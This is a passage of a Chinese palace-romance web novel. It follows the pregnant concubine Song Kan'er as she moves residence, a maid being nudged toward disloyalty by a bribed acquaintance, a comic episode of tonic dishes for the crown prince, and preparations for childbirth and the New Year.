搬到正房后面的后罩房!
海顺让典玺局挑的迁居吉日在冬月十三,他提前将这事儿报给了太子妃。
郑明芷早在元淳宫使了人去收拾屋子时,就知道太子要让槛儿搬住处。
当时她挺憋气的。
毕竟太子明明许了她权,却又把给后院妾室换住处该主母管的事让海顺办了。
分明是在给她没脸。
可惜郑明芷如今也是真不敢轻举妄动。
不管甘不甘喜不喜,她都必须承认东宫从始至终真正的主子都只有太子一个。
她恼恨却也害怕,害怕真惹恼了人。
害怕被废。
她不能被废的,她不能……
也因此在听海顺说槛儿搬家的吉日时,郑明芷比以往任何时候都笑得温和。
仿佛一夜之间开了窍。
至于开的是哪一窍,海顺心里有数。
也懒得拆穿。
到了冬月十三,槛儿正式迁居。
东西都是提前收
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拾好了的。
衣裳鞋袜、头面首饰、笔墨纸砚以及她和太子的书,给孩子准备的东西什么的。
满满十个箱笼。
槛儿不免想到四月里自己刚到这边来的时候,浑身上下就只一个小包袱。
如今也算是小有家产了?
后院的各个地方早注意到了永煦院这边的动静,轮到今日搬家,这些地方便都变着法子派了人过来帮手。
不多,就一两个,还不是同一时间段来的,可见派他们来的人都成了精。
知道槛儿不喜张扬。
更知道怎么做才不招他们家太子爷的嫌。
搬完东西得规整,东厢也得打扫,槛儿只有小福子四个小太监确实不够用。
她索性挑了两三个人使。
叫小福子他们在外别跟人表现得太亲热,被人觉得在拉帮结派就不好了。
曹良媛现成的例子摆着。
乔迁是喜事,午膳槛儿特意让膳房多做了饭菜,用膳时她单独坐一桌。
下首处支了两张小桌。
瑛姑姑、周嬷嬷和寒酥她们坐一桌,小福子四个小太监坐挨着门的那一桌。
他们如今人不多。
还能这样主仆一起乐呵乐呵,等之后槛儿身边添了人就不能再这样了。
省得人多嘴杂,传出去说槛儿不成体统。
想来大伙儿的心里也都有数,所以这一顿大家都用得格外用心格外高兴。
膳罢槛儿带着跳珠她们继续收拾,喜雨望晴和往常一样去膳房放食盒碗碟。
行到半路。
“望晴!”
一道清脆的女声从旁边传来。
望晴、喜雨扭头看过去。
就见一个三等宫女打扮模样,中等个头,圆脸杏眼的宫女朝她们这边跑过来。
此人叫雁荷,是望晴的同乡。
早年两人在一起学过规矩,后来在不同的地方当差,两年前雁荷被调来东宫。
在后院的花房侍弄花草。
花房在东宫属典药局管,侍弄花草的宫人有的兼顾打理苗圃里的药草。
雁荷便在花房做两种活。
眼下是宫人到伙房吃饭的点儿,之前望晴她们来送碗碟就碰到过雁荷两次。
“宋昭训今天迁居,恭喜你们呀。”
到了近前,雁荷笑着道。
喜雨跟着望晴见过雁荷,也算是认识,闻言大大方方接受了对方的贺喜。
三女寒暄几句。
雁荷对望晴道:“前两天就听说宋昭训的喜事了,主子的喜事也是奴婢们的喜事。
我眼下在这儿就只碰到过你一个同乡,便想着给你做了个荷包贺喜。
不过今儿一早出门忘带身上了,你这会儿能随我去取吗?我住的地方就在花房附近,来回要不了一刻钟。”
第140章 奴才命,给太子补补肾!
槛儿的人不多,因此望晴喜雨和银竹她们三个二等宫女白日里没有轮值。
就算偶尔有休息时间,也不能在没有经过主子的允许下私自出门溜达。
望晴闻言讪讪地拎了拎手里的提盒:“好意我心领了,我这会儿在当差。”
雁荷面露窘色。
“那不是宋主子用过膳了吗?送碗碟也不是多着急的事,我熬了一宿做的……”
说着,她往喜雨的方向看了看。
望晴有些为难。
想了想犹豫地对喜雨道:“你能再拎一个盒子吗?你去膳房,我跟她去拿东西。
咱回来的时间应该差不多就在这里碰头,要不你在这边等我也行,我用跑的。”
每天三顿提膳的时候有银竹和她俩一起,送碗碟到膳房银竹就没跟了。
今天拢共三个大提盒并一个装小菜的篮子,喜雨这会儿手里拎着两个提盒。
“那你给我吧。”
喜雨看看她俩,再看看自己的手,爽快道。
“当差时间还是不要耽搁太久得好,你快去快回,一会儿就在这边碰头。”
望晴还没来得及出声。
雁荷先连声道了谢,还帮忙把望晴手里的食盒跟提篮往喜雨手指头上挂。
望晴有种怪怪的感觉。
又说不上来。
于是她便没说什么,确定喜雨没问题后才和雁荷一道疾步往花房那边走。
走着走着。
察觉到雁荷频频看她,望晴扭头问:“有事?”
雁荷尴尬了一下,随即试探似的道:“你们主子大喜,你们是不是得赏了?”
这种话题在宫人之间很常见,望晴没怎么多想地冲她笑着点了点头。
雁荷目露艳羡。
吞了口唾沫问:“赏了多少?一个月月钱?”
望晴看着她脸上的羡慕,心里多少有些得意。
两人同乡同一年入宫。
之后雁荷被调去司苑司看护花草,望晴则被调去了广储司仪仗所做杂役。
平时主要负责打理后宫妃嫔仪仗队要用到的节杖幡旗,华盖之类的东西。
后来才被升调到首饰库,养护珠宝首饰。
而雁荷之前在后宫当差就算是比较轻省的,来了东宫日常活计还是很轻省。
哪像望晴。
刚去仪仗司做卖力气的活。
所以此时见雁荷羡慕地看着自己,又想自己现在是二等宫女,雁荷才三等。
望晴难免就生出了一丝炫耀的心思,半是难为情半是高兴地道:“差不多吧。”
雁荷真心羡慕。
“你们主子得宠,隔三差五的就有好事儿,这会子搬了家,回头再过两个多月就要生小主子了,那不得大赏啊!”
望晴:“到时候肯定要整个后院都赏啊。”
“那不一样。”
雁荷挽着她的胳膊道。
“赏咱们估计两个月月钱,你们是宋主子的人,至少也是三个月月钱起步。”
望晴一言难尽地看着她。
“一次赏俩月月钱你还嫌少啊?这些个钱你平时除去开销不定要攒多久呢。”
“我不是嫌少。”
转进一条小径,雁荷低声道。
“我是羡慕你呢,不过话说回来你平时在那边伺候着,就没点儿别的啥想法?”
“啥想法?”望晴问。
雁荷环视一圈,凑到她耳边。
“我之前听说你那位主子早年也在广储司,年纪还比咱们小一岁多呢,人家现在成宠妾了,你真甘心伺候?”
望晴没想到她会突然有这么一说,先是愣了愣,随即停下步子没好气地沉着脸。
“哪有你这么说话的?你这样我可不敢要你的荷包,回头咱俩也别见了!”
说完,她扭头就走。
雁荷一把拉住她,又是道歉又是赔笑。
眼见把人哄好了两人重新往花房走,雁荷笑着道:“这样也挺好,谁叫咱们奴才命呢。
管人家以前做什么的,年纪大还是小,总归人家现在是主子,你小心伺候是对的。
而且照这势头你主子日后铁定是要往上正的,到时候还能少得了你的赏?
咱们做奴才的光指着月钱过活哪成呢,还得是要跟个好主子,主子随便从指头缝里漏点儿出来都够咱吃好久了。”
“你主子是个和善人,你把人伺候舒坦了日后指不定也能挣个大宫女当当。
我就不行了,成日里跟那些花花草草打交道,好的是用不着给它们下跪。”
说到这儿,雁荷忽然道:“我挺佩服你的。”
望晴已然没了刚刚炫耀的心思,闻言心不在焉道:“羡慕我什么?”
雁荷:“羡慕你成熟稳重啊,能跪以前跟自己一样出身的人,换做我估计要羞死……”
望晴的眼神冷了冷。
雁荷像似意识到自己说错话了,忙不迭说好话,可望晴却听不太进去了。
拿了荷包转身离开雁荷住的小院,望晴的耳边一直回荡着雁荷的话。
奴才命……
把人伺候舒坦。
指头缝里随便漏点儿够她吃好久。
跪跟自己一样出身的人……
望着那道消失在拐角处的身影,雁荷摸了摸怀里的银锭子,缓缓勾起唇角。
.
“荷包拿到了?”
到了碰头的地方喜雨已经在那儿等着了,见人回来,她上前笑着问道。
望晴恍惚地点点头。
强颜欢笑地把荷包拿给喜雨看。
喜雨夸了句好看,抬眼看出望晴的神色似乎不对劲,她道:“你怎么了?”
望晴忙收起心思,无奈般道:“就她刚刚一直问我赏钱什么的,你知道的。”
喜雨懂了。
宫人之间就是这样。
但凡有谁在哪个主子跟前伺候,甭管好的坏的,有些人就爱什么都要打听两嘴。
喜雨不疑有他,拍拍望晴的肩哄了她两句。
望晴左耳朵进右耳朵出。
“你……”
喜雨:“什么?”
望晴摇摇头:“刚刚不好意思啊,让你一个人拎三个提盒外加一个篮子。
主子赏的零嘴儿我的都给你,你能不能……别跟主子说我和雁荷的事?”
喜雨当她怕主子知道了她在当差期间办自己的事,要罚她,于是想了想应了。
望晴笑着道谢。
抓着荷包的手微微攥紧。
虽说槛儿搬家是从厢房搬到了同院的正房,并不张扬,但总归都知道的事。
郑明芷率先叫人送来了赏,一匹素色妆花缎和一个楠木嵌螺钿的妆匣。
秦昭训的是一块松烟墨锭。
曹良媛如今日日抄经礼佛
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,院子里仅有的五个宫人也出不来,每天大眼瞪小眼。
曹良媛被罚的原因除了嘉荣堂的人和相关涉事人员知晓,其余人一律不知。
但知道是太子罚的。
所以负责曹良媛及其院里人的饮食换洗的宫人,也不敢向他们传递什么消息。
还是郑明芷派了人传话,让曹良媛也表示表示,曹良媛才知槛儿搬家的事。
郑明芷此举明显就是拿槛儿搬家这事当椽子,来往曹良媛心里捅刀子。
曹良媛倒想得开,想不开也不行。
听了消息后便叫郑明芷派来的人送了一柄落了她名字的团扇给槛儿。
除了郑明芷的那份赏,秦昭训和曹良媛那边槛儿都按她们的位份回了礼。
都是不会落下把柄的东西。
冬至前一日。
东宫举行了祭蚕神仪式。
蚕神也是马明菩萨,蚕花娘娘,掌管桑蚕的神,祭蚕神意在祈愿蚕桑丰收。
这跟本朝江南养殖桑蚕之户众多,丝绸等纺织品赋税比重高有很大的关系。
这样的大事,槛儿怀着身子也是要到场的。
而东宫该进行的仪式基本都在这一天走完,到了正式冬至日就没槛儿什么事了。
冬至之后太子放三天假。
骆峋自是也要顾念自己的身子,总不能那个位置没坐上,身体倒先垮了。
故而放假的当晚。
也就是冬至宴结束后,他来了槛儿这边,这也是槛儿搬住处后他第一次过来。
不过太子爷累极,可没心思做别的,上了榻和槛儿说话说到一半就睡着了。
槛儿还从来没见过太子在她跟前露出如此疲态,上辈子即便连熬几宿,这人当着她的面也是一贯的冷肃威严。
槛儿不免觉得新奇。
就借着床头小几上的灯看他。
便见他肌肤光洁细腻,眉色浓淡适中,眉形姣好,边缘一根野生的也没有。
瞧着似天生便是如此。
寻常时候总是清冷寡淡的凤眸闭着,纤长的睫毛在眼下投出两片阴影。
显得其眼底的青黑更重,也更虚了。
但人仍是俊的。
尤其明明瞧着一副虚弱状,唇却呈淡淡的粉润状,槛儿拿指尖点了一下。
温温软软的。
然后她的手就被抓住了。
骆峋半梦半醒地捏了捏槛儿的手,随后摸到她的腰动作熟稔地帮她翻身。
槛儿顺着他的力翻过去。
骆峋闭着眼掖被子,人跟着挪了一下,从后面圈住槛儿,胸膛紧贴着她的背。
次日,太子难得赖了床。
槛儿头一回比他早起。
在暖阁里梳好妆她便把前几日列的一张,由太医确认了没问题的单子给银竹。
让她们提早膳时交给膳房。
不多会儿,去提膳的路上喜雨一眼也没往银竹手上看,望晴则瞄了好几眼。
银竹假装没注意到她的小动作。
膳房总管姚大发等银竹他们走了之后才展开单子,沈旺在旁边探了个头。
紧跟着他俩眼一瞪!
“中午海参山药煨童子羊腰子、黑豆牡蛎羹、紫米鹿髓糕,晚上雪蛤枸杞烩鹌鹑、首乌黑芝麻藕粉羹……”
“全是补精血补肾的……”
“干爹,咱主子那啥啥不行啦?!”
第141章 太子做了坏事!“坐完月子,孤补偿你。”
“什么话都敢往外说!不想活了是不是!”
姚大发一巴掌把干儿子拍到就近的墙上糊着,麻利地收起单子没好气低斥道。
沈旺撞了一鼻子墙,眼泪差点没掉下来。
他捂着鼻子瓮声瓮气道:“儿子那不是看这上头的东西那什么,担心殿下……”
“用你小子担心!”
姚大发作势又要一巴掌。
沈旺捂嘴。
姚大发道:“没见殿下前些日子忙得脚不沾地?好不容易歇两天,宋主子想给殿下补补身子不是很正常?
就你个没眼力见儿的想那些乌七八糟的!再敢胡咧咧看我不撕烂你的嘴!”
其实姚大发也想那些乌七八糟的了。
他寻思着,按说自己给殿下做了近二十年的饭,单从那位主儿日里的膳食来看。
就知不是个身子虚的或是有隐疾的,关键宋昭训怀着东宫的小主子呢。
按规矩又不能侍寝。
可不能侍寝,殿下却要大补。
难不成两人……
姚大发心里一个激灵,感觉自己窥见了两位主子之间什么不得了的私密。
他忙打消念头,对着沈旺一通喷,完了生怕别人知道这事儿就亲自张罗食材去了。
于是等到午膳时候。
难得空闲在西苑跑了一上午马回来,神清气爽的太子爷甫一坐到膳桌前。
“这是?”
他拿眼神往桌上那盅形状完美的海参煨羊肾和黑豆牡蛎羹示意了一下。
海顺从善如流地报出菜名儿,顺道把那碟子紫米鹿髓糕放到了太子跟前。
“宋昭训心疼您前日里辛苦了,早几天就列了单子让奴才请太医看呢,说是要给您好好补补,您趁热用。”
骆峋:“……”
心疼他辛苦,所以给他补精血滋肾水?
殊不知自打他与她初尝情事,两人只有过几回,直至眼下五个多月没有过。
屡屡与她同眠,他都觉气血翻涌。
都被他压下去了。
如今她却是要给他这么补。
骆峋严重怀疑,自己看上去很虚?
心中狐疑,但太子爷用了这三道补品。
下午跑了一个时辰的马,练了一个时辰的武,太子爷体内那股躁火得以平复。
哪知到了晚上。
看了看膳桌上的雪蛤枸杞烩鹌鹑和首乌黑芝麻藕粉羹,骆峋沉默片刻起身。
“将膳摆到宋昭训那边去。”
槛儿敢发誓。
她列单子时真没有任何乱七八糟的想法,毕竟肾主纳气,肾乃先天之本。
她觉得太子虚了自然而然便想到要给其补肾气,且这几样膳食都是温补。
一般人不至于吃一顿就能增补。
因而看到太子过来,元淳宫的人将晚膳摆到她这边桌上时槛儿也没多想。
太子当着她的面用完那盅雪蛤枸杞烩鹌鹑和首乌黑芝麻羹时,她同样没多想。
直到夜里上了榻。
太子从身后拥过来,周身暖得像火炉,同时尤为像火炉的还有另一处地方。
“累不一定是虚,不必补。”
“另外,孤此时很热。”
槛儿:“?”
片刻后,槛儿:“……”
.
东次间里。
周嬷嬷睡在挨着炕搭的一架软榻上,迷迷糊糊似是听见卧房里传来一阵哗啦啦的水声。
像是屋里人在用水。
她怔忪了一下,之后猛地清醒。
起身掀开被子下地,周嬷嬷轻手轻脚来到卧房门前隔着屏风支起耳朵。
太子正是血气方刚的年纪,宋昭训又是那般的美人儿,孤男寡女干柴烈火的。
难保不会有烧着的时候。
那咋行呢?
她可得替皇后娘娘把俩小年轻看牢了才行,这么想着,周嬷嬷听得更加仔细。
但听了一会儿,屋里啥动静也没有。
嗯。
估计是两位主儿谁去过净房,出来用了水。
想想也是,宋昭训那般爱护腹中胎儿,许是就指着这胎生个儿子出来固宠呢。
想也不会做出什么有可能伤害到孩子的事。
至于太子。
周嬷嬷不清楚宋昭训之前侍寝的情况,但就她以往听过的太子寡欲的传言,以及这几个月的亲眼所见来看。
太子宠宋昭训归宠。
日常却是从没当着他们这些宫人的面,与宋昭训各种亲亲我我腻腻歪歪。
更不曾做过类似捏一把屁股摸一把胸脯这种孟浪之事,夜里也从来规矩。
反正周嬷嬷守夜时从没听过屋里有什么可疑动静,次日浴间净房也无异。
可见太子爷多么的君子。
寡欲的传言果然百闻不如一见。
当然了,寡欲是那方面的想法淡,不是完全没有,自然能让宋昭训怀上孩子。
周嬷嬷说服了自己。
听屋里真没动静她便又做贼
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似的回去,盖上被子躺下重新酝酿出了睡意。
卧房内。
槛儿裹着被子坐在床上。
俏脸粉红,眼睫低垂,任由男人拿温热的湿巾子一根一根细致地替她擦拭手指。
床头的地平上,可疑地团吧着一件杏黄色寝衣。
手擦干净了。
骆峋要将槛儿的手塞进被子里,扶她躺下。
槛儿摇摇头,作势要下榻。
骆峋难得做一回坏事,心中难言之感自不必提,见状凑近问:“做什么?”
槛儿的耳朵麻了一下,扭头要和他说话,哪知一侧首两人的唇便蹭上了。
槛儿后仰了仰,被太子一掌托住后脑。
结束一记绵长深入的吻,骆峋鼻尖抵着槛儿的,“要做什么,告诉孤。”
槛儿抵着他赤着的胸膛。
“涂护手膏。”
骆峋握住她:“是何样?”
槛儿:“粉彩罐子便是。”
骆峋起身就去了,他功夫好,地上又铺着毡垫,行动间当真半点声音都没有。
回来见帐中之人在看着他笑,那笑里似是有娇羞甜蜜,还夹杂着一丝别的。
骆峋一下子就想到了不久前。
他们早先分明这样有过一次,当时她好像没这样过,为何这回神色如此骇然?
骆峋不甚明白,也有些赧然。
明明早先说过不能只顾自己快活的,哪知还是食言了,也是今日补了两顿……
没好意思再想,太子爷将护手膏给槛儿,捡起地上的寝衣又像猫一样进了浴间。
殊不知槛儿不久前虽确实被他身上的温度和……给吓到了,但刚刚她想的不是那个。
槛儿想的是上辈子太子虽在床榻上难免有孟浪的时候,却没有哪次像今晚这样。
憋闷急躁,又拼命克制。
然而没克制住。
和他平时,以及前几次行那事时的样子差太多,和上辈子也截然不同。
槛儿忍不住便有些失笑。
半刻钟后,骆峋换了身寝衣从浴间出来。
重新躺下槛儿都昏昏欲睡了,身后抱着她的人忽然低低道:“下不为例。”
顿了一下。
“等你生产坐完月子,孤、补偿你。”
怎么补偿?
这事还能补偿?
槛儿:“……”
槛儿拿脚没什么力道地戳了他一下,骆峋蜷腿拿脚压着她的脚蹭了蹭。
“睡吧。”
第142章 年前备产备产!“你们主子肯定要提拔人!”
进入腊月,京城又下了一场雪,所幸雪势没上回的大,城内外没引起什么事。
过了腊八,宫外的年味便浓了起来。
大街上相继挂起了红灯笼彩缎,市井街头人流如织,叫卖声不绝于耳。
四处可见售卖獐狍野鹿、野鸡野兔的,香烛纸马、门神年画、鞭炮春联等祭祀用的东西和装饰亦随处可见。
各大临近的点心铺子、酒水铺子、绸缎铺子、首饰铺子什么的,门前拉客的人一个个比着似的扯着嗓门儿。
胭脂水粉的小摊前围满了百姓家的年轻姑娘,小贩娘子拿起一朵绢花戴到一位姑娘头上,说得眉飞色舞。
孩童围着玩具爆竹店叽叽喳喳,妇人们把手里的新鸡毛掸子拍得啪啪直响。
相较于市井之中满是烟火气的热闹,肃穆的宫里年味儿便矜持了许多。
当然浓还是浓的,就是少了民间那份喧嚣,一切都按制进行得有条不紊。
腊八这日,元隆帝给朝中勋贵重臣以及宗亲、后宫妃嫔都赐了腊八粥。
槛儿她们也都按品阶吃了腊八粥,之后宫里各个地方开始了清扫修葺。
番邦使臣陆陆续续进京。
光禄寺和鸿胪寺为筹备除夕元旦宴席,接待外宾使臣井井有条地忙碌着。
地方官员的新春贺表相继被送往礼部,太子和东宫属官也要撰写贺表。
另太子开始代元隆帝慰问宗亲和老臣,审查宴会菜品及席位安排什么的。
做的事多责任便越重。
所以每年的这个时间段也是太子,乃至整个东宫都需格外谨慎小心的时候。
往往一个不慎便会有人从中捣鬼,这其中的人自然不单单指几位成年皇子。
总之越是热闹的时候越容易出乱子,哪怕今年信王、荣王和前睿王都不在。
郑明芷给众人敲了警钟,槛儿也将自己人叫到跟前恩威并施敲打了一番。
望晴垂着眼。
看着那抹缀着珍珠裙襕的裙摆,心思恍惚。
每年过年前后也是宫人们在条条宫道之中,穿梭往来最为集中频繁的。
不得喧哗嬉笑大伙儿就在可行范围之内乐呵,不仅仅是被过年的气氛感染。
更因为除夕元旦,宫里会给每个宫人都分发银钱衣物,食物之类的赏赐。
跟了主子的还有主子赏。
东宫这边太子还会赏一次。
所以越临近过年,小福子他们言行上收敛小心,脸上却都是红光满面。
也不知是被他们感染,还是被过年的气氛感染,槛儿也见天儿的好心情。
到了腊月二十这日。
裴皇后从内务府送来的十几个奶娘和十个稳婆里面,挑了八个人出来。
其中四个奶娘都是乳汁充沛甘香,身子骨结实康健,五官端正面庞白净之人。
奶娘和乳母虽是一个意思,但宫里的奶娘和乳母还是有本质上的区别。
其原因在于宫里的奶娘主要负责幼儿前期的哺乳起居、日常安抚这样的事。
乳母则不仅仅要担负哺乳之责,日后还要负责教导皇子公主们的礼仪。
每位皇子公主通常都只有一位乳母,便是从起初的奶娘里面挑选。
乳母享内廷供养,脱离平民身。
赏田宅免徭役,恩荫家族。
另外四个稳婆亦都是身强力壮,手脚麻利,说话做事皆有章有法之人。
槛儿上辈子对挑奶娘和稳婆这事可以说熟得不能再熟,她自己的女儿儿媳生产,其他皇子妃和公主们生产。
内务府把人送到她跟前。
她打眼一瞧就知道挑哪个不挑哪个。
所以当海顺领着人过来,槛儿也是打眼瞧了瞧就让瑛姑姑把人安排到西厢。
看在海顺和几个奶娘稳婆眼里则成了宋昭训年纪小,不懂这些也正常。
槛儿倒愿意他们这么误会。
另还有照料奶娘,给稳婆打下手的,以及槛儿整个生产期间需要用到的人。
乃至孩子出生后负责一些琐碎事务的,内务府的掌事也都一并送过来了。
自然是不能全信的。
不过槛儿暂时都让安置到了后罩房。
瑛姑姑、周嬷嬷住的西耳房,就仍住那边,东耳房则辟出来做了产房。
而产房该安排在哪处是讲究风水的,有专人安排,槛儿自己也懂一些。
算下来添了近三十个人。
之前只有槛儿他们十来个人的时候,单靠小福子小喜子跑腿,小桂子小满子打杂足够。
如今添了这么些人还都不是跑腿打杂的,小福子他们自然而然就忙不过来了。
需要内务府拨人,或是郑明芷调派。
海顺说,过两天从典玺局抽人过来,哪知他前脚走后脚郑明芷就带人来了。
当着满院子新人的面。
郑明芷做足了宽厚仁爱的派头,说人是她精心挑出来的,让槛儿尽管使唤。
有两个二等宫女和三等宫女,跑腿太监两个,粗使打杂的宫女太监分别四个。
拢共十四个人。
太子妃纡尊降贵亲自送人过来,槛儿就算提防,也不能由她来驳对方的面子。
于是人收下了。
用不用,怎么用。
槛儿决定和太子商量。
.
“你们院儿里一股脑来了这么多人,今后有得热闹了,对了,你怎么安排的?”
晚上,戌时过半。
宫人伙房里。
趁喜雨排队取饭没过来的时候,雁荷端着食盘坐到望晴旁边,笑着问。
望晴夹起一块豆腐,“什么安排?”
雁荷往上指了指,压低声音。
“晋升啊晋升,你们那边现在这么多人,两个大宫女肯
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定管不过来啊。
你们这些老人那不得往上升一升啊?你主子是不是升你做大宫女啦?”
望晴:“没升。”
“没升?!”
雁荷捂嘴掩住轻呼。
“怎么会没升呢?是都没升还是你……”
“都没升。”
雁荷吃了一口萝卜,欲言又止。
望晴皱眉,“想说什么就说。”
雁荷:“不是,我是怕说了你会多想。”
望晴挺不喜欢雁荷说话总是吞吞吐吐的,闻言有些不耐烦了:“爱说不说。”
雁荷咳了咳。
朝还在领饭的喜雨看了一眼,小声说:“就你们主子现在这情况,生了以后肯定要晋位,至少一个承徽跑不掉。
承徽能有四个大宫女,而这种升上来的主子,都是提拔跟前的二等宫女。
最重要的是你们那边给小主子添了不少人,可那些人又做不了领头的。
小主子身边不得要大宫女大太监?新来的能有自己熟悉的人用着放心?”
雁荷拿手肘拐了一下望晴,神秘兮兮道:“你们那边现在正是人多的时候。
现有的两个大宫女和姑姑不得先把主子伺候好了?哪有精力管那么多人?”
“你们主子肯定要提拔人!”
雁荷语气绝对。
但说完却又卡了一下,状似迟疑道:“你平时在你们主子跟前得脸吗?”
望晴咀嚼的动作一顿。
得脸不得脸的,她之前没想过这个问题。
宋昭训对她和喜雨、银竹三个二等宫女,其实也一直没表现出更偏用谁。
她们做的事数量上都差不多。
但可能是喜雨性子外向,嘴甜吧,宋昭训和喜雨说话时笑的次数最多。
而银竹。
银竹虽然性子比她还闷,但到底是从元淳宫调来的,又有一把子力气。
之前宫宴她都有跟出去。
宋昭训虽没偏袒银竹,但光对方是元淳宫来的这一条就足够让人信任了。
至于她自己……
望晴嚼着嘴里的饭菜,味同嚼蜡。
其实四月刚收到管事姑姑的消息,说她被人事司挑中,要去服侍新主子时。
望晴打心底里高兴。
一则她是他们广储司首饰库的所有二等宫女里,唯一一个被挑中的。
二则她也盼着能到哪个主子跟前伺候,不想成日里只跟那些死物打交道。
首饰库的管事姑姑和太监脾气也不咋好,动不动就对他们破口大骂。
一不小心就会出失窃事件,容易被栽赃陷害,望晴真是受够了在那边当差。
所以被选中的当晚她高兴得睡不着,想着一定要在新主子跟前露脸什么的。
哪知来了才发现。
她要伺候的新主子竟是她的旧识,她认得对方,但对方不认得她的旧识。
第143章 “殿下恕罪!”真是同人不同命
“诶,你怎么了?”
雁荷的声音拉回了望晴的思绪。
“没什么,赶紧吃吧,吃了还得回去当差,”望晴收起心思,摇摇头道。
雁荷看着她心不在焉的神情,唇角微不可察地勾了勾:“行,我不说了。
不过你也要留意留意你们主子啊,努力争取争取,别到时候人家升了你才知道。”
说完,她端起食盘去了另外的地方。
喜雨回来坐到望晴旁边,随口道:“你那个同乡最近好像经常来找你说话呢。”
望晴浑不在意的样子:“刚进宫一起学规矩的时候私底下她就是个碎嘴子。
最近不是眼见着要过年了嘛,她有些想家,总来找我说家里的事。”
喜雨“哦哦”了两声没再多说,望晴看着面前的饭菜却是没什么胃口了。
.
槛儿把郑明芷送人过来的事跟太子说了,末了踌躇道:“太子妃替妾身考虑得周全,亲自送了这么多人来。
按说人都该留下才是,但这么一来今天拢共就添了四十来个人,这么多人妾身一时实在是不知要怎么管……”
骆峋把书搁到两人之间的小几上,伸手从槛儿手里拿过九连环解起来。
“太子妃送来的留一半,从典玺局调三四个人来他们先替你管着,你贴身侍候的另调还是升你原有的人?”
槛儿想了想。
以商量的口吻道:“加上银竹,先前院里拢共三个二等宫女,妾身就从她们三个中间升两个上来,您觉得怎么样?”
骆峋觉得并无不可。
“你决定即可。”
两人在书房这边的暖阁里待了两刻钟,槛儿去洗漱收拾,骆峋继续看书。
不多时,有人进来换茶。
骆峋余光扫了一眼,认出是槛儿身边的一个二等宫女,名字他并不清楚。
骆峋收回余光。
望晴低眉顺眼地替太子换茶,视线不经意看到小几上那只压着书的修长大手。
她的心突突直跳,并非她对太子有何非分之想,而是出于一种本能地畏惧。
尤其在目光触及到对方衣袍上的那两条龙纹时,望晴更是忍不住心慌。
但她的脑子里却不合时宜地冒出一个念头:同样是奴婢出身,她是不是也可以……
念头刚起,望晴的手一抖。
茶盏在小几上发出重重的一声响。
“殿下恕罪!殿下恕罪!”
望晴脸一白,“扑通”就跪下了。
海顺听到动静进来。
骆峋:“退下。”
海顺配合地斥道:“还不快出去!”
望晴根本不敢有耽搁,忙不迭端起换下来的茶盏毕恭毕敬地退出去。
“怎么了?出什么事了?”
一到外面,听到动静的喜雨很小声问。
望晴红着眼睛。
“我、我不小心把茶盏搁重了,很大声……”
喜雨闻言吓得不轻,从她手里接过茶盏把人拉到一旁,“要去领罚?”
望晴心有余悸地摇摇头。
“殿下只让我退下,海公公也没说什么。”
喜雨呼出一口气。
“那就是没事,下回可不能这么冒失了。”
望晴刚要点头,就听喜雨的声音在继续:“得亏主儿得宠,要不然至少要打手心。”
两刻多钟后。
太子和宋昭训收拾完毕上了榻,望晴和喜雨、银竹进屋来清理浴间。
隔着一道小门,卧房的说话声隐隐传来。
“肿得如此厉害。”
太子的声音,听着似是有些许不悦。
宋昭训声音轻柔:“最近就是容易肿,稍微站得久了或是坐久了小腿便胀得慌。
一按一个窝,脚也肿,先前的鞋暂不能穿,广储司和周嬷嬷她们做了几双大的。”
“太医如何说?”
“莫院判说是孕期常见的湿浊下注,气血壅滞。
妾是脾虚肿,莫院判开了食疗,赤小豆鲫鱼汤外加白术茯苓散,让先吃着。”
卧房沉默了片刻。
宋昭训不知说了句什么。
随即太子清冷的嗓音才响起:“孤近日忙,要你自己辛苦些了,有什么需要……”
“就差人去找海公公,您的话妾身会背啦。”
太子似乎短促地低笑了一声。
收拾完从浴间出来,经过床尾往外走时。
望晴的余光透过纱帐,看到了床榻之上面朝里侧躺着拥在一起的一双人。
真是,同人不同命。
望晴暗暗自嘲一笑,走了出去。
“不久前在书房你说要从你的那三个二等宫女里,提两个贴身侍候的出来。”
帐子里,骆峋忽地出声。
槛儿侧了侧头,“对,您要帮妾身掌掌眼吗?”
骆峋:“掌眼谈不上,意见仅供参考,你洗漱之时去书房换茶的人稍显冒失。”
槛儿想起来。
今晚进屋奉茶的人,该是轮到望晴了。
腊月二十四。
各地官府封印,也就是从这时候开始放假,一直放到过完元宵再开印。
元隆帝也在这日按钦天监看的吉时进行了封玺仪式,不过皇帝的封玺可不是真就放假什么都不管了。
尤其元隆帝勤政。
每年封玺期间该批的奏章照样批,只不过非必要时候,元隆帝一般不会强求大臣们在春节期间与他一同勤勉。
太子就不行了。
他得和自己的皇帝老子一样勤勉。
譬如听进京朝贺的外地官员汇报各地民情,之后接受元隆帝的考校什么的。
便不细述,总归忙就是了。
每年的小年过后是皇室宗亲宴请的时候,各大王府郡王府不论立场如何。
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每年这时候都要做样子。
今天去这家吃席,明天去那家吃席。
太子是储君,不出宫赴宴。
但东宫宴请必不可少,宴请时间是钦天监看的吉日,经元隆帝批准了的。
腊月二十七,午膳那一顿。
赴宴的人除了在外开府的皇子公主及其家眷,便是辈分高的宗亲及家眷,以及宫里尚且年幼的皇子公主。
另三师三少必须要请,即太子太师、太傅、太保,少师、少傅、少保。
其家中女眷也会受邀。
东宫各个地方七天前收到消息,早早便筹备了起来。
以前东宫没女眷时,每年年底的宴请是裴皇后派冯嬷嬷来主持筹备。
几位宗亲王妃负责待客。
后来曹良媛等人入宫,便是冯嬷嬷和曹良媛一起筹备,由宗亲王妃待客。
之后有了太子妃,筹办宴席和待客的事自然而然全权交由太子妃操持。
很累,但这是一种身份权位的象征。
宴席上与宗亲王妃们和东宫属官女眷们往来,于巩固自身的位置也有利,所以郑明芷做起来也是甘之如饴。
前几年曹良媛多次出席宫宴和东宫的宴席,如今她被禁足自是不能了。
槛儿也不能。
如果是不足七月,这种基本只有皇室女眷的家宴她倒是能短时间露露面。
问题是她如今差几天八个月的身孕。
哪怕日里再怎么防着把胎儿养得过大,她现在的肚子也已经算大的了,像似怀抱着一个圆滚滚的大寒瓜。
所以到了这日槛儿只管待在自己院子里,也没让小福子出去打探什么消息。
人多嘴杂的。
即便来东宫赴宴的人经过了重重检查,但宫里最不缺的就是见缝插针。
谁知道会不会撞见什么牛鬼蛇神,别到时候消息没打探到反被人套了。
不过槛儿无心过问前面的事,倒是有人记得她,此二人正式宣王妃母女。
郑明芷送来的粗使杂役小太监,槛儿安排了四个守院门,其中一个叫小财子的跑来说宣王妃母女来了时。
槛儿很是错愕。
毕竟按规矩,亲王正妃主动来东宫侍妾的住处是很不合礼数的行径,她自认和宣王妃还没熟到这等地步。
